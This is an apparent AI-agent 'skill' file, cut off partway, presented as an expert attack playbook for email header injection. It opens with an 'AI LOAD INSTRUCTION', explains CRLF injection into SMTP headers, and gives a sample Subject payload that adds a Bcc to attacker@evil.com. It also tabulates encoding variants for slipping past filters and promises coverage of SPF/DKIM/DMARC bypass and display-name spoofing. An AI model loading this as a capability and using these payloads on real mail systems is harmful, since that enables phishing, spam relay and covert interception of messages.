email-header-injectionlisted

# SKILL: Email Header Injection — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces. ## 0. RELATED ROUTING - [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp) - [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification --- ## 1. SMTP HEADER INJECTION FUNDAMENTALS SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers. ### Injection anatomy ``` Normal header construction: To: user@example.com\r\n Subject: Contact Form\r\n From: noreply@target.com\r\n Injected (via Subject field): Subject: Hello%0d%0aBcc: attacker@evil.com\r\n Result: Subject: Hello\r\n Bcc: attacker@evil.com\r\n ``` ### Encoding variants to try | Encoding | Payload | |---|---| | URL-encoded | `%0d%0a` | | Double URL-encoded | `%250d%250a` | | Unicode | `\u000d\u000a` | | Raw CRLF | `\r\n` (in raw request) | | LF only |